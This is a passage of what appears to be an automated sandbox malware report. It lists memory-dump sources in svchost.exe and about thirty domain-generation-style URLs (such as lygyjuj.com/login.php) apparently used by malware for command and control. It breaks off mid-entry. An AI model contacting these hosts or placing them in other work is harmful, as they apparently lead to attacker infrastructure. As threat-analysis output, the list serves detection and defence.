00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323657176.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768400966.0000000008705000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2320047859.00000000033EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyjuj.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygylax.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygylur.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328870829.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygymyn.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607736058.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334859023.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334936802.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336690325.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336661299.0000000003304000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2608469388.00000000087FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2604615321.0000000008783000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygynox.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2799115351.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003347000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402591277.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384104652.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384269083.0000000000882000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygysid.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321367524.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302834749.0000000008690000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygytyd.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272828863.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272537462.00000000086FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2264150395.00000000086FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2524832364.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272290978.00000000086FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2267838094.0000000003391000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2283080934.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2273007343.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyvar.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyvon.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygywor.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671484952.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyxad.com/login.php
Source: svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297525559.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296551987.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyxun.com/login.php
Source: svchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388007673.0000000000884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197046.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202332641.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393482937.000000000339B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344396822.0000000003399000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykygur.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577742596.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577938444.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykylan.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384104652.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykynyd.com/login.php
Source: svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246499612.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.0000000008643000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.0000000008646000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2673206249.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykyser.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558551911.00000000008A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykytej.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2351137108.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykytin.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296776136.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296803931.00000000086F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykyvod.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykyvyx.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3245948099.0000000008615000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3343594271.0000000008619000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2802384900.0000000008611000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3401732575.0000000008619000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341805017.0000000008619000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2603580004.0000000008611000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321538396.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2596489806.0000000008611000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykywid.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykyxur.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymyfoj.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752503084.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359453590.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymygor.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302611741.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307945417.0000000008615000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302834749.0000000008690000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303296410.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2320123040.0000000008611000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymygyx.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymyjyd.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607736058.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610102916.0000000000883000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2604615321.0000000008783000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymylij.com/login.php
Source: svchost.exe, 00000002.00000003.2671356551.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665740291.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671484952.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: 